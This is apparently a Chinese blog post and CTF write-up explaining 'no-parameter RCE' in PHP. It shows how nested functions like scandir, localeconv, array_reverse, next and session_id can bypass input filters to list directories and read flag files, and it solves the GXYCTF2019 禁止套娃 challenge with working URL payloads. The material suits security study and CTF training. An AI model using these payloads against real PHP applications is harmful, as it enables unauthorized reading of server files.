您当前的位置: 首页 > 

葫芦娃42

暂无认证

  • 3浏览

    0关注

    75博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

无参数rce

葫芦娃42 发布时间:2022-05-15 21:35:18 ,浏览量:3

函数介绍 (1) scandir() 函数:

返回指定目录中的文件和目录的数组.

scandir("."):得到该文件下的所有文件和文件夹

(2) print_r() 函数

print_r() 函数用于打印变量,以更容易理解的形式展示。

参数为要打印的变量,如果给出的是 string、integer 或 float 类型变量,将打印变量值本身。如果给出的是 array,将会按照一定格式显示键和元素。object 与数组类似。

(3) localeconv() 函数:

返回一包含本地数字及货币格式信息的数组。而数组第一项就是.

(4) current() 函数:        

返回数组中的当前单元, 默认取第一个值。

所以 current(localeconv())两个函数连用,返回的就是 ' . ' 点

注:pos() 是current() 的别名。

(5) array函数

array_reverse() 函数:顾名思义,反转数组。

array_flip() 函数: 反转/交换数组中的键和值,成功则返回交换后的数组,失败返回NULL。

array_rand()函数:从数组中随机取出一个或多个单元,如果只取出一个,返回随机单元的键名。 如果不止一个,返回包含随机键名的数组。第二个参数number默认为1.

键与值反转交换后,数组里 文件名变为了值。array_rand()从数组中随机取出一个单元的键名,不断刷新访问就会不断随机返回,具体题目中多刷新几次就出来flag文件了。

所以 array_rand( array_flip() )配合使用可随机返回当前目录下的文件名。

这几个函数没被过滤的话可以构造:

 ?exp= print_r(array_rand(array_flip(scandir(current(localeconv() ) ) ) ) )

(6) next() 函数

reset()函数:将数组的内部指针指向第一个单元

end()函数:将数组的内部指针指向最后一个单元

next()函数:将数组的内部指针向前移动一位

prev()函数:将数组的内部指针倒回一位

在刚才 scandir() 函数返回的数组中,第一位是点(.),此时指针默认指向该位(也就是第一位),通过next()函数,将指针移动到下一位,也就是点点(..)

再比如我们下面那道 [GXYCTF2019]禁止套娃 1。

print_r(scandir(current(localeconv())))得到flag文件在数组倒数第二位。

因此我们可以将数组逆转后,再next(),指针就到了我们flag文件所处位置。

next(array_reverse(scandir(current(localeconv())))) 即得到了我们flag文件名。

highlight_file()高亮显示,或者show_source()读取,得到flag

 (7) time有关函数

time()函数:返回自 Unix 纪元(January 1 1970 00:00:00 GMT)起的当前时间的秒数。

localtime()函数:返回本地时间。

localtime()函数可以接受参数,并且第一个参数可以直接接受time()

(8) chr()&chdir()&dirname()函数

chr()与ord()互补,返回ascll码对应的字符. 什么时候用呢?

因为当秒数为46时,chr(46)=”.”,可以用来获取点(.)  当localeconv()被过滤时可用。

chr 函数以256为一个周期,所以 chr(46) , chr(302) , chr(558) 都等于 "."

所以使用 chr(time()) ,一个周期必定出现一次 "."

chr(current(localtime(time()))) :

数组第一个值每秒+1,所以最多60秒就一定能得到46,用 current或pos 就能获得 "."

chdir("..")返回上一级目录。scandir()出来的数组里有 . (当前目录) 和 ..(上一级目录)。

print_r(scandir(next(scandir(getcwd))));可查看上级目录文件

dirname():返回上一级目录,路径中的目录部分。

getcwd():返回当前目录。

可用chdir(dirname(getcwd))来更改目录。

(9) file()函数

readfile()函数:读取文件并写入到输出缓冲。 echo(readfile())

readgzfile()函数:readgzfile 也可读文件,常用于绕过过滤

(10)session方法

session_id可以获取PHPSESSID的值,而我们知道PHPSESSID允许字母和数字出现,而flag.php符合条件.因此我们在请求包中cookie:PHPSESSID=flag.php,使用session之前需要通过session_start()告诉PHP使用session,php默认是不主动使用session的。session_id()可以获取到当前的session id。这样可以构造payload:? exp=readfile(session_id(session_start()));

[GXYCTF2019]禁止套娃 1

git泄露 与 无参数rce。


代码审计:

        过滤了php伪协议的各个关键字,伪协议行不通。继续看到第二个过滤,就是无参数RCE,函数一直套,然后套出我们想要的命令,a(b (c( ) ) ),但是不能带参数。

preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])

限制我们传输进来的必须是纯小写字母的函数,而且不能携带参数。

(?R)? 意思为递归整个匹配模式。所以正则的含义就是匹配无参数的函数,内部可以无限嵌套相同的模式(无参数函数).

!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])

preg_match的主要功能就是过滤函数,把一些常用不带参数的函数关键部分都给过滤了,

这个过滤不严格,file,readfile,print_r(),next,localeconv,scandir,pos还可以用.

传入 ?exp=print_r(scandir(pos(localeconv())));  爆出flag路径

 用array_reverse() 将数组内容反转一下,利用next()指向flag.php文件==>highlight_file()高亮输出:  传入 ?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));

或 ?exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

 得到flag 。

关注
打赏
1658420143
查看更多评论
立即登录/注册

微信扫码登录

0.1557s